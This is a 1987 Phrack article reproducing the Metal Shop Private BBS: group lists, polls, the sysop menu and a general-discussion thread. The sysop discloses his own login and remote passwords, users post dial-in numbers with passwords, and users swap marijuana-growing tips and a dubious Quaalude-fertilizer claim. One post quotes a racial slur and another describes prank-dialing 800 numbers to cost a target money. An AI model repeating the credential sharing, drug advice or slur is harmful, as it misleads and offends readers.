14. Phrk/Hck Delinquents

15. The Warelords

16. The Apple Mafia

17. MetalliBashers, Inc.

18. The Hitchhikers

19. Knights Of Shadow

20. Fargo 4A

21. The Association

22. Hack‑A‑Trip

23. The Stowaways

24. Black Bag

25. MAD!

26. PAWW

27. The P.H.I.R.M.

28. 65C02

29. CEO

30. PHido PHreaks

31. The 414s

32. KOTRT

33. Inner Circle I

34. Inner Circle II

35. Camorra

36. SABRE

37. The Federation

38. AmericanToneTravelrs

39. Five O

40. Extasyy EliteNetwork

41. Order Of The Rose

42. Cult of the Dead Cow

43. OSS

44. Phortune 500

45. The DEC Hunters

46. The Marauders

47. 2af

48. Md/Phd

49. ICUB

50. Phrk/Hcks of America

51. C&M Productions

52. Software Pirates,Inc

53. DTE222

54. Legion Of Darkness

55. Coast To Coast

56. Elite Hackers Guild

57. 2600 Club

58. The Rackateers

59. The Nihilist Order

60. The IBM Syndicate

T ‑ 3:31:54

D‑Base > G

B)oard or G)roup : B

Search for what string : KNIGHT LIGHTNING

KNIGHT LIGHTNING was found on HPO (92686)

KNIGHT LIGHTNING was found on Atlantis (92686)

KNIGHT LIGHTNING was found on RACS III (11‑2‑86)

KNIGHT LIGHTNING was found on Catch‑22 (92386)

KNIGHT LIGHTNING was found on P‑80 (11‑2‑86)

KNIGHT LIGHTNING was found on Brewery (121986)

KNIGHT LIGHTNING was found on Quick Shop (122086)

KNIGHT LIGHTNING was found on PhantasieRealm(41287

KNIGHT LIGHTNING was found on Stronghold E (32986)

T ‑ 3:31:20

D‑Base > Q

T ‑ 3:31:16

Main > V

Current Questions:

1: How shall the board be run?

2: Are you coming to SummerCon?

3: Is your sysop a banana?

4: What was your favorite Phrack 13 file?

5: What file did you hate most in Phrack 13?

Which question (

,Q,?) : 1

Question 1:

How shall the board be run?

Users voting: 56.7%

0:No Comment

1:More privately! : 18 47.4%

2:The same way it has been. : 19 50.0%

3:More opened. : 0 0.0%

4:Closed totally. : 1 2.6%

Your vote: More privately!

Change it? No

Which question (,Q,?) : 2

Question 2:

Are you coming to SummerCon?

Users voting: 55.2%

0:No Comment

1:Definitely! : 10 27.0%

2:No, definitely not. : 11 29.7%

3:Probably. : 9 24.3%

4:Possibly with a ride. : 6 16.2%

5:What's SummerCon (STUPID) : 1 2.7%

Your vote: Definitely!

Change it? No

Which question (,Q,?) : 3

Question 3:

Is your sysop a banana?

Users voting: 32.8%

0:No Comment

1:Yes. : 1 4.5%

2:No. : 1 4.5%

3:What are you talkin about : 2 9.1%

4:No, other assorted fruit : 7 31.8%

5:I'm not a vegetarian... : 4 18.2%

6:KL's a banana, not TK : 4 18.2%

7:SFD has a banana fetish : 3 13.6%

Your vote: SFD has a banana fetish

Change it? No

Which question (,Q,?) : 4

Question 4:

What was your favorite Phrack 13 file?

Users voting: 37.3%

0:No Comment

1:Real Phreaker's Guide 2 : 1 4.0%

2:How to Fuck Up the World : 2 8.0%

3:Making the Paisley Box : 1 4.0%

4:Phreaks In Verse : 2 8.0%

5:R.A.G ‑ Rodents Are Gay : 2 8.0%

6:Are You A Phone Geek? : 1 4.0%

7:CUNT : 1 4.0%

8:RAGS ‑ Best of Sexy Exy : 11 44.0%

9:PWN XIII : 4 16.0%

Your vote: R.A.G ‑ Rodents Are Gay

Change it? No

Which question (,Q,?) : 5

Question 5:

What file did you hate most in Phrack 13?

Users voting: 37.3%

0:No Comment

1:Real Phreaker's Guide 2 : 1 4.0%

2:How to Fuck Up the World : 4 16.0%

3:Building a Paisley Box : 2 8.0%

4:Phreaks In Verse : 1 4.0%

5:R.A.G. ‑ Rodents Are Gay : 4 16.0%

6:Are You A Phone Geek? : 1 4.0%

7:CUNT : 0 0.0%

8:RAGS ‑ Best of Sexy Exy : 11 44.0%

9:PWN XIII : 1 4.0%

Your vote: Real Phreaker's Guide 2

Change it? No

Which question (,Q,?) : Q

T ‑ 3:30:39

Main > !

(This is the sysop menu. Remote modifications were available through this section, but the functions were rarely utilized.)

T ‑ 3:30:26

Sysop> ?

Co‑Sysop Menu:

B:oard editing C:hange user F:ast validation G:file Edit L:og of today M:ail reading O:ld users Q:uit to main S:ystem status V:oting booth edit Y:esterday's log

Sysop Only:

D:OS shell T:‑file editor ~:take the board down

T ‑ 3:29:41

Sysop> Q

T ‑ 3:29:38

Main > O

(If you didn't want to see all this B.S., the Fast Logoff "‑" worked from almost everywhere.)

Hangup? Sure? Yes

Takin' off so soon? Outta time?

Outta luck? Well, come back soon and

remember not to spread this to every‑

one and anyone...PRIVATE! Keep

thrashing!

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Well, that's pretty much all of what was on the board for the most part. There were a few more things like the format on the upper part of the screen which was windowed off from what was happening on the board which contained the on‑line user's information and other things only the sysop would see, but nothing about it was too interesting. I hope you enjoyed seeing all of the things contained on what used to be my board, and I hope you were both suprised and let down at the same time. That's the way it should be because it was, as I so often said, over‑rated. Anyway, I'd like to acknowledge the fact that both Control C and The Mad Hacker were going to run Metal Shop Private after my problems arose, but Control C had some problems of his own and after he got the program, he lost it and The Mad Hacker would have run it, but I received notice about something concerning the board which convinced me to keep it down forever. It's all still intact like I said, but it's probably just going to sit on my hard drive until my father needs more room on the hard drive for Lotus 1‑2‑3 or something and it'll get formatted over.

Oh, one last note: For those of you who thought you were hackers and attempted to get my password (which never happened in the history of the board), it was "ME?CRAZY", my phone number was MSP‑314‑SLAY, and the secondary password necessary to log on as a sysop remotely was "LASHING."

Taran King

Knight Lightning

Cheap Shades

^*

Metal/General Discussion

==Phrack Inc.==

Volume Two, Issue 20, File 5 of 12

Metal Shop Private's ‑‑ Metal/General Discussion

~~~~~~~~~~~~~~~~~~~~~~~~~

The Metal/General Discussion subboard was exactly what it sounded like. Messages varied from stuff about music to political events as you will plainly see.

1/100: rowdy!

Name: The Scanner 20

Date: 11:58 am Mon Apr 27, 1987

Hey, I got the same two posters with the exception of one thing, They say Spring Break '87 ‑ Daytona Beach. Anyhow, My Easter Sunday went pretty well, I awoke at about 10am with the sun streaming through the window and trying to make its way through the beer tower. I rolled over to the sound of the ocean waves hitting the coast. I got up opened one of last nights beers and walked out onto the balcony intern seeing a great view of Daytona Beach. The rest of the day went pretty much the same way.

_‑The Scanner

By the way, if you got a little time on your hands‑

313‑851‑0912

pass = OPCODE

.s

2/100: chemicals

Name: The Prophet 23

Date: 1:01 pm Mon Apr 27, 1987

Anyone know where I can get ahold of Lithium Aluminum Hydride? Any help would be VERY appreciated!

‑Rob

3/100: *** Newsflash ***

Name: Knight Lightning 2

Date: 6:20 pm Tue Apr 28, 1987

At the request of the Management, we ask that all users change their passwords. There is no immidiate emergency, but forwarned is forearmed. Please keep track of your logons and make your new passwords UN‑hackable.

Thanks,

The Management

:Knight Lightning

4/100: Subboards

Name: Taran King 1

Date: 2:39 pm Wed Apr 29, 1987

For those of you who are interested, I am offering the opportunity for you to run your own subboard of some kind. I've got the space and if you've got a purposeful subboard idea that you'd like for a specific group or group of people or project, do leave feedback and we'll see what we can do. How' s that for a nice sysop?

‑TK

5/100: Gee

Name: Knight Lightning 2

Date: 5:49 pm Wed Apr 29, 1987

Hmm, you'd think that 5 subboards would be enough for anyone. Oh well...

:Knight Lightning

6/100: That sounds good.

Name: Evil Jay 26

Date: 11:46 pm Wed Apr 29, 1987

Sounds good to me. Too bad there are not that many people into Primos (sigh). I can just see it now: "Unix Hacking ‑ Subop: Solid State."

Crax and I were talking about scams today and we came across an interesting topic. It seems that if someone orders something to you in your name (that you didnt pay for) you can keep it, unless the company decides to pay for its return or gets it back theirselves. I can understand that most people are not going to pay to have something shipped back to a company but the idea of "keeping it" doesnt sound right. Comments?

‑J

7/100: neat‑0

Name: Slave Driver 58

Date: 10:22 am Thu Apr 30, 1987

I want to have a party sub, we can call it "the Party Allianzzce!" I can be sub 9, uh, oops! I mean sub 6...

heeheehoohoo

Steve Driver

8/100: Telephone Quality

Name: Jester Sluggo 31

Date: 6:38 pm Thu Apr 30, 1987

Hmm.. I seem to get fairly bad connections to the BBS. If any others of you get good connections to other BBS's, but always get a somewhat shitty connection here, please leave the Sysop Feedback. thanks.

/

\

/ luggo !!

9/100: Connections...

Name: Knight Lightning 2

Date: 6:57 pm Thu Apr 30, 1987

I have been getting an occasional bad connection too, and I am local to MSP. What could be causing this? I had a hum on my phone line a while back and I had Bell check it out and run some line check stuff and then it went away, perhaps Taran should do the same.

:Knight Lightning

10/100: Its a DNR d00d11!!10

Name: Evil Jay 26

Date: 9:31 pm Thu Apr 30, 1987

Anyway, my connections to MSP are just fine. The only board I have problems with is Phantasie Realm.

Have a question for anyone who grows dope. Someone told me that the pigs have some kind of radar that they use when flying over the woods, fields..etc, that supposedly pick up plants that are growing less than two feet from each other. I dont see how this is possibly at all, but its kind of scary. Also, can anyone give me some good ideas on how to grow it. I already have about 50 planted that are coming up quite well (Im in the money...!) and I use that shit they put on fields for fertilizer. I also germinate my seeds by putting them in wet paper towels in a dark place for a few days before planting them (sprouts up), about 2 inchs deep in garden soil (that shit you buy at k‑mart thats supposed to be good dirt). That was a lame question, but I need to know...

Speaking of Phantasie Realm, we changed the format for the last time and it looks good. New advanced subs, killed all the assholes, lowe red the access of all the non‑contributers, got plenty of files/space, and lots of msgs and discussions. Feel free to call and post the around:

(313)641‑9649 New: CANON

‑J

11/100: Dope sniffing

Name: The Scanner 20

Date: 8:14 am Fri May 01, 1987

The plane radar idea could have some truth to it. I mean it is very possible . They use planes to control our traffic speed also.

I'm sure you have all seen those depth finder things on boats and stuff. Those things can tell you almost exactly whats underneath. Probably the same type of gadget the plane would use. Sounds possible to me.

_‑The Scanner

12/100: Knowing

Name: Doom Prophet 21

Date: 4:13 pm Fri May 01, 1987

Knowing the cops, they probably do have things like that, so they can go out and waste more money in the name of stupid bandwagoning tactics a la Ron and Nancy Reagan, William Bennett, Rehnquest and O'Connor (the latter two were appointed Supreme Court justices, screened by Ronald Reagan and Edwin Meese to make sure they were conservative and conformist enough to the rest of the senile warmonger's administration). Mor e and more money is being wasted in the name of their fucking law and order, their fucking 'Christianity', self righteousness, conservative viewpoints that deny people's civil rights (womens right to an Abortion, Roe Vs Wade decision, the firing of 1/2 of the Civil Rights Commission and probably replacing them with Reagan Lovers, and more). Now the cops will go to exteme lengths (this radar shit and Paraquat poisoning) to make sure that they can have their fucking recreational drugs which are perfectly legal while condemning us as criminals for engaging in other recreational drugs that are less harmful (but ILLEGAL of course, it makes all the difference. Laws are always right and fair, and manipulative enough by those in power as a small child would play with Ronald Reagan's shit, smearing it over the constitution). I can see them also having orgasms and myocardial infarctions when they find plants they think are cannibussativa, only to find out they are sewer weeds, things growing from flowing human waste in fields.

13/100: well...

Name: Sir Francis Drake 56

Date: 8:02 pm Fri May 01, 1987

Yes, well, (watch this tie‑in), to show your beliefes ccall the Libertarian BBs in San Jose, CA at:

(408) 243‑1933

Its a FIDO system run by the Libertarian Party, for those of you who don't know the LP is one of the more popular third parties and has a very laissez faire platform, one main tenet being legalization of victemless crimes. SO call it.

sfd

/l

14/100: radar

Name: The Prophet 23

Date: 4:15 am Sat May 02, 1987

I kind of find the radar idea a bit spaced out... After all, if it picked up pot plants less than 2 feet apart, it would pick up damned near every thing else less than 2 feet apart. In decent sized forest, this could amount to quite a bit of garbage... weeds, small trees, etc. The police DO ariel searches, but I believe (though I'm not sure) that they do it by sight.

They usually do this, though, over state‑ and company‑ owned land, as most dope‑farmers, for some reason, don't own their own forest land. I know for a fact that in my area, they do occasional air searches over some forest land owned by a paper company, but they don't search the forest behind my house owned by my grandfather (otherwise I would be in or under a jail cell now).

‑TP

15/100: I agree...

Name: Cat Man 12

Date: 3:45 pm Sat May 02, 1987

The guy (Prophet) is really right on this one...I've never heard of such crazy shit as police radar picking up plants that are 2 feet apart! And he's going to grow the stuff thinking shit like this (?). The one thing to be careful of are pirhanas (people who at harvest time go looking for huge fields of pot).

cat man

16/100: I dunno.

Name: Evil Jay 26

Date: 1:15 am Sun May 03, 1987

I dont really know how it would be possible, but theres still that chance. Still no answers on my last question??? Whats the best way to grow it? I heard if you dont use fertalizer (sp), then it comes out pretty bad (and makes you sick or something ‑ it just isnt any good). Oh well...

‑J

17/100: Read.....

Name: The Disk Jockey 13

Date: 2:15 am Sun May 03, 1987

"High Times" magazine, the best information for any home grower, they have monthly sections on indoor and outdoor gardens, for anyone from the first time grower, to the expert, plus the ads can help you find the necessary stuff.

The Disk Jockey

18/100: do‑it‑yourself

Name: The Prophet 23

Date: 3:03 am Sun May 03, 1987

You don't have to use fertilizer, but the pot will be weak if it's undernourished. Another thing to remember is not to({use too much fertilizer. Actually, marijuana is a pretty tough plant, and doesn't really require a great deal of care. Just water them daily, and plant them somewhere where they can get plenty of sunlight.

‑TP

19/100: Nameo Changeo

Name: Knight Lightning 2

Date: 4:06 pm Sun May 03, 1987

This is bullshit, what is going on here!? Next thing you know we will have a subboard called "Better Drugs And Gardens."

First of all this police drug radar is the most amazing piece of trash gossip I have ever heard. Police would have better things to do than go through back yards with plant radar. I mean any two objects within 2 feet of each other set it off... yeah right. What about patio furniture, what about a backyard grill and gas tank? What about shrubs or trees?

Whoever came up with this one must have been ON DRUGS himself at the time.

:Knight Lightning

20/100: I wouldn't put it past them.

Name: Thomas Covenant 84

Date: 8:13 pm Sun May 03, 1987

Although it does sound 99.99% wrong, that's just the sort of thing the cops would come up with to act as a deterrent against life. EEEGg.

Two notes of addt'l interest:

‑:1‑ In Virgina Beach, home of the 700 club, it is illegal to imbibe alcohol outdoors. So, if someone was having a beer in his fenced in yard, someone else could call the cops and say "There's a man drinking beer in his backyard. Please hurry!" and the cops could come and cart him away.

‑:2‑ The latest issue of OMNI has a very fascinating article about the US. Military and how they are linked with US communications services (or would like to be). Needless to say, you should read it.

‑:3‑ OK, so I forgot one (or I can't count. You be the judge). The latest issue of RIP is the Rock Censorship Issue, and has even MORE fascinating articles on the PMRC, the Back In Control punk/metal deprogramming center, and much much more. Again, you should read it.

Everytime I read something like this, I go out to the fields and have a dandelion break. I can't believe stuff like this can happen in America.

21/100: excuse me

Name: Lucifer 666 43

Date: 11:42 pm Sun May 03, 1987

but my mother was having some trouble growing her geraniums....now if I don't use fertilizer will they die...

I hear that the forest preserve can tell huge fields of geraniums if the plants are less than 2 feet apart...

usually we plant petunias...but the "sailfish" get them... These are the people that rip out huge fields of petunias around blooming time.

L666

22/100: Censorship

Name: Phantom Phreaker 46

Date: 12:58 am Mon May 04, 1987

Ok, Thomas Cov, that message you left about Vigriania Beach in Va looked like it came from thrasher magainze, as skateboard magazine that I read often. They had an article abou a ramp in VA beach called Mt. Trashmore. Are there any skaters on here? I know Quest says he skates...

Phantom

Oh yeah I also have that new issue or rip, actually it's DP's but I read it today about the cencorship. Oh, another thing, I read that MCA of he Beastie Boyz died from an OD. I don't know if it's true or a rurmor....

Phantom

(oh god, I just read this post and I have to use the almighty cop‑out, ' I am fucked up' which is true rnight now)

23/100: Dope and The Single Woman...

Name: The Mad Hacker 47

Date: 1:27 am Mon May 04, 1987

Well, I find it very hard to believe that someone could detect such plants growing so closely together. Secondly, for the outdoor Dope Grower, Simply, bury some seeds and forget them for a few months. If You plan on indoor growing, You have to understand that Dope is a Weed, so that they don't really need sunlight, and would grow in virtually any environment. If you want an indoor garden, spend a few bucks and get a hydrpod setup(Articles in High‑Times) and buy a "Grow and Show" light. I have heard that if you crush up Quaaludes and use them as fertalizer, you will come out with some heavy dope.

Just remember that germination is a BIG key in getting something decent. Yes, I have grown some in my basement, it wasn't THAT good, but the price was right.....

The Mad Hacker

24/100: Dope

Name: Icarus 15

Date: 2:34 am Mon May 04, 1987

Cannabis (sp?) is a weed and can grow anywhere. However for the best potency, good sunlight, water, and fertilizer is needed. Soaking the seeds for a few days in drenched paper is good before planting, just to get the sprouts going.

I don't know about that plant detection nonsense, but I do know that you can get capital punishment for selling pot in school. (Thanks Nancy, you dragon‑witch)

The other day, I read on the back of a coffee can, "Say no to drugs." What hypocrosy, no? Caffeine is a much more abused drug and more addictive (according to many sources), than a pure 100% natural bowl of grade‑a herb. Everything is a drug in America:Nicotene, caffeine, money, power, etc.. (uh oh, getting metaphorical here)

I must stop rambling and get some sleep. it is 3:32am and I have one of the few last days of fucking around in senior year to wake up for tomorrow.

Ic

25/100: Hmmm....

Name: Slave Driver

58

Date: 9:43 am Mon May 04, 1987

Considering police radar detects the speed of moving objects, the same technique is used for alarm systems, it doesnt care about the speed though, just if something is moving, thats why radar detectors often go off around stores, I dont know how it would detect plants two feet apart. What do they set the PSD plant spacing detector to 2 feet? Or do the plants run around when noone is looking?

Does a tree that falls in a forest with noone to hear it or record it mae any noise?

Why can you see?

How does a can opener work?

What good is school?

Does Ron fuck the dragon‑lady?

These are all questions of the mind....

doodoo‑‑doodoo‑doodoo‑doodoo

twilight zone music^^^

Steve but why? Driver

26/100: Say what?

Name: Cap'N Crax 10

Date: 3:19 am Tue May 05, 1987

Did someone say capital punishment

for selling pot in school? Jeezus!

Anyway, police can detect pot, but

not with radar. They can detect it

(even at night), actually, especially

at night, by it's infrared heat

signature. They have some sort of

device like that... I don't quite

remember where this info came from,

but it was in print, and i assume

it to be reliable, as it is quite

possible, and makes more sense than

plant radar. Haha...

Did you know that if you try to sprout

w/ a wet paper towel that is too

wet you'll drown those 'lil suckers?

Yep...

C^2

27/100: Not into

Name: Mad Hatter 51

Date: 2:51 pm Tue May 05, 1987

I'm not really into the 'growing' process of drugs. Sounds interesting though then again, so does spanish. But none the less, has the ever been any files on it? (hehe) Maybe a Neon Knight file? Who knows...

‑Hatter

28/100: WELL...

Name: Sir Francis Drake 56

Date: 1:07 am Wed May 06, 1987

YES, I HEARD THE SAME THING ABOUT 'DETECTING POTS IR SIGNATURE'. IT DOES MAKE A FAIR AMOUNT OF SEN...

SFD

29/100: Erb

Name: Control C 8

Date: 8:38 pm Wed May 06, 1987

Someone once told me that there's male and Female plants, and if there's a male plant arond none of the others will grow. Is this true?

Control

Back home a know a few guys, and there idea of fun is being high on crack and tilting a machine gun....Time Time...

Great jam

30/100: morf plants

Name: The Prophet 23

Date: 11:08 pm Wed May 06, 1987

No, the female plants will still grow, even around male plants.

‑TP

31/100: Term Papers

Name: Knight Lightning 2

Date: 12:26 am Thu May 07, 1987

Well finally its done. To be turned in tomorrow. 10 Pages of a "take a stand" paper on Euthanasia. 10 sources, 35 endnotes. GeeeeeZ.

:Knight Lightning

32/100: above

Name: The Leftist 71

Date: 5:51 am Thu May 07, 1987

Yeah, I too skate, and have skated Trashmore.. several times.. anyway, about this dope issue.. first of all, yes, it can be detected by its ir signature, thats so expensive, and time consuming though. Usually what they did where I was living was just cruise over the mountians/wooded areas, and If youveever seen a pot plant, usually the color gives them away.. I have 12 plants in my closet, each about 1' 1/2" tall, which I have had 1 1/2 months... Use miracle gro fertilizer. this is best, because it wont burn the plants, as you cannot use too much.. also, you definetly dont want to get males and females mixed up. the females will have a short growth at the bottom of the stem as they mature, which, when broken off will grow right back where it was. I have heard of people grafting hops onto plants, and this served an excellent disguise, but where can ya get hops??

p.s. call this new bbs if ya get a chance..hack/phreak/special interest/g‑files, and more..

305‑480‑9971 initial login pw= CSC

Leftist

33/100: Quotes....

Name: The Disk Jockey 13

Date: 6:48 am Thu May 07, 1987

"Hey, you still look ok!"

‑Bernard Goetz, just before shooting a nigger in the back a second time.

"Your father had AIDS, so I shot him in the back"

‑Mike D, Beastie Boys

The Disk Jockey

34/100: well...

Name: Sir Francis Drake 56

Date: 5:45 pm Thu May 07, 1987

Well come on KL, dont leave us hanging...what was your "stand" on euthenasia?

(DJ, are you from the South or something? 'Shooting a' WHAT? I love being puritanical..ahem)

sfd

35/100: Religion, Power, Pot

Name: Doom Prophet 21

Date: 7:58 pm Thu May 07, 1987

Prophet raised some good points. Caffeien, Nicotine, and many other drugs are harmful to people, yet legal and making money for businesses/government. A local pastor is going after 'porn' menace in the fashion of Edwin Meese, our Wedtech, corporate and close minded Attorney General. Why have such small, harmless things become a scapegoat bby the fucking religious fanatics and power hungry hipocrites as the problem of society? Why don't they direct their time and attention to something more worthhile? Why not go after racism, sexism, and prejudices of all types? Bad education systems? Murder, violence, War? NO, we are christians (paycheck code word), and everything we do is Ok with a creation of our society, but hen it is time to kill for our country, well, we can become a christian again after we have killed for a deceptionist government.

Meese is going to be in St. Louis tomorrow talking on abortion. 20 dollars for their fucking dinner, maybe they'll be eating government experiments tht flopped in nuclear and chemical warfare projects. Abortion should be a choice..I agree that it is bad, but the alternatives can be worse. If you take away the people's choice then what do you have? Guess what I'm a communist now because I am a member of the Freeze/Sane movement, ha. Oh well I'm rambling and bitching.

'The drugs we're fed to make us like it are God (TM) and Country with a bang. People we know who should know better howl, 'America Rules, let's go to war!' Are the soviets are worst enemy? We're destroying ourselves instead. Who cares about our civil rights as long as I get paid?'

Meese Mania is runnnin wild!

Doomy

36/100: New Law

Name: Computer Wiz Kid 54

Date: 10:19 pm Thu May 07, 1987

Check this OUt....I am not sure if this is federal law coming through, or if it is just a local thing.

The new law states that haveing Beer or More than 1 Join (like it), and if you are under twenty one, you could loose your licence for a year. Mind you this is for people who are Under 21....Nice eh? THINK thatis bad, how about getting caught for have either, and you are under age (21 is the drinking age), and you don't drive, you won't be able to drive for a year...

Guess I SHOULD clean out the Car eh?

Cwl‑

37/100: Skating/Laws

Name: Phantom Phreaker 46

Date: 10:40 pm Thu May 07, 1987

Leftist, you skate? That's cool, what kind of board do you have? Do you wear jams and surfer clothes, or are you a generally 'normal' looking skater? Around here the skaters are mostly dicks they think they are cool because they can do a 1 inch ollie, and a lot of them brag and lie about their ability.

I'm concerned for our countries future. Right‑wingers and conservatives are fucking up everything, I'm so sick of hearing about their bullshit, cencorship, and the like. Some right winger said something along the lines of 'When a student picks up a math book, he reads that there are no absolutes. The next thing you know, he turns to crime and drugs.'

Now, that takes the cake for being the most foolish, scatterbrained, lame attempt to support your views. But, they have the money, funded by Falwell and Robertson, who dupe consumers into sending them money so they will 'go to heaven' and have 'the lord's blessing'. 'Most people are assholes' (name of a tour by some punk band, can't remember the name.)

Oh yesterday I picked up a math book and read that x=0. Well, since x=0, then crime is cool, and so is drugs. (This supports my earlier paragraph)

Phantom

PS‑Oh yeah, to stretch this thing out even more (this post), I'll just say that the Suicidal Tendencies concert in St. Louis a few weeks ago was pretty cool. I slammed and dove...total fun.

38/100: Papers and other

Name: Knight Lightning 2

Date: 11:27 pm Thu May 07, 1987

I said that Euthanasia should be legalized and people should have a right to do it if they want (passive) and a person should be allowed to commit suicide with a doctor's assistance.

Anyway, we were watching a film in psycology last week where the question of who has the most primary responsibilty to be careful about birth control, the guy or the girl. One guy said the girl because after all if she doesn't, she is the one getting pregnant. A girl then said that he was an asshole for saying that. What do you think?

:Knight Lightning

39/100: Le Dope...(Male And Female)

Name: The Mad Hacker 47

Date: 11:51 pm Thu May 07, 1987

The only difference between Male and Female Plants is that Female PLants yield a great deal more seeds than the male ones(Makes sense). Dealers usually try to stay away from the female plants due to the "More Seeds, Less Pot" Philosophy. Potency should still be the same, though. I have never heard of Male Plants keeping all others from growing, though. Something new? Nahh. Gee, i am starting to sound like an add from High Times.....

Control C, Have you been trying to call me?

‑TMH

40/100: Kill‑Ron

Name: Icarus 15

Date: 12:39 am Fri May 08, 1987

Right wing conservative fuckers are getting way outta hand! "Let's not discuss the nuclear waste we are putting into the geosphere, and the racism overflowing in our country, but let's divert all of our attention on drunk drivers under 21, teenage‑sex, and the increasingly vicious problem of marijuana abuse." Give me a fucking break Ronnie! This country is run by assholes for assholes because we are falling for this shit. Nancy thinks she's a fucking "vigilante" combatting her war on drugs. Fuck her and her stupid senile old jackass husband.

Think about it....This country raped our environment for bucks for a few mogul's pockets. Ron is a puppet for these war‑mongering quadrillionaires who are the true rulers of our country.

No other president would EVER have gotten away with what Ronnie did. He went against his word and admitted to have lied in one of the biggesscandals of the decade.

After typing this, I feel wired, I feel like fighting someone now..Fuck!

Icarus

41/100: OLD CO

Name: The Scanner 20

Date: 1:25 am Fri May 08, 1987

I was digging through some old tapes

tonnight and found and old conference

from about 2 years ago with John,

Terminator, and some dudes from Aust‑

ralia. It was kinda rowdy to actually

hear how stupid we sounded.

Ah well.

_‑The Scanner

42/100: Dope & obscenity

Name: The Prophet 23

Date: 2:30 am Fri May 08, 1987

There is a big difference between the male and female plants... The buds of the female plant are much stronger than those of the male plant. By the way, who uploaded the file, "drug800s.txt", what the hell are those pills being sold (never heard of D&E's before...), and what's the address to order them?

Anyone who wants to know where the country's heading in the future need do nothing more than look at the heart of the Southern Baptist Bible Belt, North Carolina. The new obscenity law states that "mature adults have no right to possess obscene material". X‑rated movies are now illegal here, and possession of an obscene magazine, even if you only read it in the privacy of your own home and are over 21, is punishable by a heavy jail sentence and fine.

‑TP

43/100: D&E....

Name: The Disk Jockey 13

Date: 6:46 am Fri May 08, 1987

D&E is based in New Jersey, and their ad can be found in any High Times.... I have 2 bottles of stimulants that I got from them, and their yours if you want them....one is a bottle of "20‑20's" and the others are "357's", I used to use them when I'd play tennis to keep a steady, strong game. Now they just make my stomach hurt like hell. You can get them on your (or someone's) V/MC, and they are like $6/100.

The Disk Jockey

44/100: Better Drugs & Gardens

Name: Knight Lightning 2

Date: 7:51 am Fri May 08, 1987

Er yeah this is our new subboard check out 6. It seemed like a popular topic with you guys.

:Knight Lightning

45/100: well...

Name: Sir Francis Drake 56

Date: 6:22 pm Fri May 08, 1987

Oh what fun! Rag on Reagun, Call him names, Say they suck, bitch alot... Oh wow how keen...

Can YOU guess whats coming next?

'CUT THE CRAP' AND *DO* SOMETHING!

My god, I just love to see all these phreaks post about how terrible the right wing is and how they should all go to hell and they sound real tough but 'Lets take a look at the record'. Remember the Falwell Game? And then the Pat Robertson game? It was where you dialed Fallwell or Pat's 800 and then hung up after a couple seconds, making them have to pay a $1 or so. Phreaks were the perfect people to do it, programs + knowledge, but NOOOOOO, a few did it for a couple of days but they, hell YOU, were tooo fucking lazy to actually do shit. It was people who had to hand dial all the time who did 90% of it.

What politial commitment. Oh yeah, when Libya was bombed the outrage on phreak boards was just tremendous, why I think I saw 1 post against it. Its not until they start doing something that directly affects you (drugs, etc) that you get off your ass.

Between computers and phones, yes phreaks could be somewhat of a force, but there not.

sfd

46/100: Are you ever happy?

Name: Phantom Phreaker 46

Date: 2:13 am Sat May 09, 1987

I don't understand why you never say anything good, Drake.. I mean, at least the users here are somewhat (even if just a little) conscious of what is going on...you can't expect everyone to be totally involved in government, I mean if they do THAT, then they will probably start thinking like a politician, and we don't need any more of that. Oh, also Drake, do you ever do anything constructive, like you said in your post? I'm not trying to argue (I hope you see that) but would like to hear what action you take on some of the issues of our society (our society, our society, what a drag ‑Subhumans)

Phantom

47/100: well...

Name: Sir Francis Drake 56

Date: 6:10 pm Sat May 09, 1987

What? Oh my god! Is it true?! Yes, after many many posts of bitching and whining on this board I actually got a RESPONSE! GASP! Why I feel positivly unignored...

OK, now a response from me would be the normal thing to do now and Im a normal sorta guy so...

What do I do 'constructive'? I call up my congressman, I write my congressman/representatives. Your normal stuff. Then, I go to demonstrations, try to contribute to alternative newspapers, draw/write/paint/scriblle thousands of anarchy symbols around the bay area to 'spread the word'. I try to keep in contact with other radical organisations to contribute my time etc. Example I have done volunteer work for a small communist political party. I could go on, but certainly not for long enough. I am not exempt from my own criticism in that I am as lazy as the next guy. But I *TRY* harder.

hee.

sfd

48/100: Missing the question

Name: Knight Lightning 2

Date: 9:39 am Sun May 10, 1987

But Drake, have you actually called up your congressman or rep or written them or been to demostrations?

Now whats this about supporting communist political parties?

:Knight Lightning

49/100: Dont ever...

Name: Slave Driver 58

Date: 1:54 pm Sun May 10, 1987

Expect to get a job with the government, now that you have said that...

Sd

50/100: Hmm..

Name: Doom Prophet 21

I must admit, I have never written my congressman. I have talked to the police and authorities about certain laws and policies, and I have pledged some support and volunteered to help a political anti‑war movement here in St. Louis. I try to make people aware of what the government is doing.. I read quite a bit on things like that (In mainstream papers and underground alternatives like Socialist Labor Party newsletter,SANE mag, The St. Louis Arms Freeze forecast letter, People for the American Way, etc.). However I can't say that I am really active in politics though.. Oh, I also sent some cards in to Reagan opposing censorship movements, with some signatures from my school. Wee, big deal right?

Later.

Doom

51/100: WELL...

Name: Sir Francis Drake 56

Date: 11:58 pm Sun May 10, 1987

ACTUALLY I WASN'T PLANNING ON GETTING A JOB WITH THE GOVERMENT...

And KL, that (calling congressman, etc) was a list of what I have done...what did you think it was? Your confuuuusing me...whine

Yeah being aware is definetly important ('The revoluion begins within' and all that)... try to read a equal amount of right wing & left wing periodicals so that I dont get locked into one viewpoint on an issue.

But being nformed and not doing anything is no better then being totaly apathetic.

sfd

52/100: Phrack

Name: Knight Lightning 2

Date: 6:44 pm Mon May 11, 1987

We could unite the entire phreak community through Phrack as aq huge political party. Unfortunately, the majority of the phreak/hack world can't even vote, and currently that includes myself. Also, we would never have enough support in any one are to win any form of election but a lobbyist organization seems feasible. But you all know as well as I do that this will NEVER happen.

So, anyway in general with the Class of '87 graduating in less than a month, who feels the phreak hack world is going to suffer greatly?

:Knight Lightning

53/100: Politics

Name: Doom Prophet 21

Date: 4:57 pm Tue May 12, 1987

Well, who knows. I'm sure there will always be good phreaks around. I will be doing less of course (Graduation, College, Work, etc) but that's no big loss.

